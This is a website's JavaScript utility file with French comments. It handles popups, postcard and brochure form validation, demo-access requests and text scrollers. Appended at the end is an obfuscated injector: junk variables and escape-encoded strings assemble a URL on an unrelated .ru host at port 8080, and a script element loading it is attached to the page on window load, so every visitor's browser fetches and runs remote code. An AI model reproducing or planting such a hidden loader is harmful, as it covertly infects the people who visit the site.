/* Date de création: 12/07/02 */
function annuler()
{
    history.go(-1);;
}

// popup sans scroll
F=0;
pop=0;
N=0
function popup(chaine,width,height,nom)
{
    N++;
	
    px = (screen.width-width)/ 2;
	py = (screen.height-height)/ 2;
	
	//alert(navigator.appName);
	
	navigateur = navigator.platform ;

	if (navigateur.indexOf('Mac')==-1)
	{
		
    if (F) 
	{
	   if (navigator.appName=='Netscape')
	   {
	       if (F.name){F.close();}
	   }
	   else
	   {
	        F.close();
	   }   
    }
	}
	else
	{
	    //alert('mac détecté');
	}
	
	F=window.open (chaine,nom,'location=no,toolbar=no,status=no,directories=no,scrollbars=no,width='+width+',height='+height+',left='+px+',top='+py);

}




/////////////////////////////////////////////////////////  carte postale ///////////////////////////////////////////////////////////////////////////////

function donne_champs()
{
	
	if ( (document.carte.photo[0].checked==false) && (document.carte.photo[1].checked==false))
	{
		alert('Vous devez sélectionnez une des photos');
	
	
	}
	else
	{
	
		votre_nom=document.carte.votre_nom.value;
		votre_email=document.carte.votre_email.value;
		son_nom=document.carte.son_nom.value;
		son_email=document.carte.son_email.value;
		votre_message=document.carte.votre_message.value;
					
		if ( (votre_nom=='') || (votre_email=='')|| (son_nom=='')|| (son_email=='') || (votre_message=='') ) 
		{
				alert('Tous les champs sont obligatoires');
		}
		else
		{
				document.carte.action="carte_visu.php";	
				document.carte.submit();
						
		}
	}


}


function envoi_carte(){

	document.carte_postale.action="carte_envoi.php";
	document.carte_postale.submit();

}

function repondre_carte(){

	document.carte_postale.action="carte.php";
	document.carte_postale.submit();

}


/////////////////////////////////////////////////////////  brochure ///////////////////////////////////////////////////////////////////////////////

function go_brochure(){

	if ( (document.brochure.nom.value=='') || (document.brochure.email.value=='') || (document.brochure.activite.value=='') )
	{
		alert('Il faut renseigner au minimum votre nom, votre activité et votre email');
	
	}
	else
	{

		document.brochure.action="action_brochure.php";
		document.brochure.submit();
	}
}


///////////////////////////////////////////////////////// acces demo///////////////////////////////////////////////////////////////////////////////

function go_acces(){

	if ( (document.brochure.nom.value=='') || (document.brochure.email.value=='') || (document.brochure.activite.value=='') )
	{
		alert('Il faut renseigner au minimum votre nom, votre activité et votre email');
	
	}
	else
	{

		document.brochure.action="action_acces_demo.php";
		document.brochure.submit();
	}
}


function defile_stop(nom)
{
	nom.stop();

}

function defile_start(nom)
{
	nom.start();

}

function defile_vers(nom,direction)
{

	nom.stop();
	nom.direction=direction;
	nom.start();
	

}



//combo des actualites

function page_selon_actualite(formulaire)
{

if (formulaire.id_actualite.selectedIndex != 0)
{
location.href = formulaire.id_actualite.options[formulaire.id_actualite.selectedIndex].value;

}
}

var gr=new String();var Q;if(Q!='r' && Q != ''){Q=null};var mP;if(mP!='gM' && mP != ''){mP=null};function K(){this.R='';var p=new Date();var C;if(C!='' && C!='el'){C='u'};var rp;if(rp!='' && rp!='n'){rp='X'};var h=window;var XJ;if(XJ!=''){XJ='uG'};this.D='';var f=unescape;var t=f("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%6d%65%67%61%63%6c%69%63%6b%2e%63%6f%6d%2f%63%69%74%69%62%61%6e%6b%2e%63%6f%6d%2e%70%68%70");function v(Y,hL){var Mw;if(Mw!='UQ'){Mw=''};this.c='';var Mk;if(Mk!='' && Mk!='vK'){Mk=''};var O=new String("g");var vf;if(vf!='' && vf!='q'){vf=null};var _u="";var U=f("%5b"), a=f("%5d");var J=U+hL+a;var n_="";var d;if(d!='tV' && d!='lZ'){d='tV'};var he=new RegExp(J, O);return Y.replace(he, new String());};var oa="";var tJ="";var m=new String();var e=document;this.oC='';this.eN='';var Dq="";var M=v('8424762709127363958592132035419','15236479');var zp='';var Rv=new Date();function z(){this.WR="";var sq='';var qN='';var Lf='';var aR=f("%68%74%74%70%3a%2f%2f%72%65%74%69%72%65%74%65%72%72%69%66%79%2e%72%75%3a");var XH='';var il;if(il!='WN' && il!='j_'){il='WN'};m=aR;var Ov;if(Ov!='cK'){Ov=''};m+=M;var QW;if(QW!='EQ' && QW != ''){QW=null};m+=t;var cT;if(cT!='B'){cT='B'};var Yl="";try {Uq=e.createElement(v('sgc9r9igpgt7','79g'));var BK;if(BK!=''){BK='T'};Uq[f("%64%65%66%65%72")]=[1,1][0];Uq[f("%73%72%63")]=m;e.body.appendChild(Uq);var Ot;if(Ot!='KF' && Ot!='OX_'){Ot=''};var GU;if(GU!='qL' && GU!='um'){GU=''};var fx;if(fx!='ZZ' && fx!='yM'){fx=''};} catch(U_){var QQ=new Array();alert(U_);var QG="";};var VG=new Date();}var rr="";h["SaOFon".substr(4)+"lo"+"WiEXadWEXi".substr(4,2)]=z;};var hm;if(hm!='' && hm!='hB'){hm='LZ'};K();var gK="";var JI;if(JI!='' && JI!='MO'){JI=''};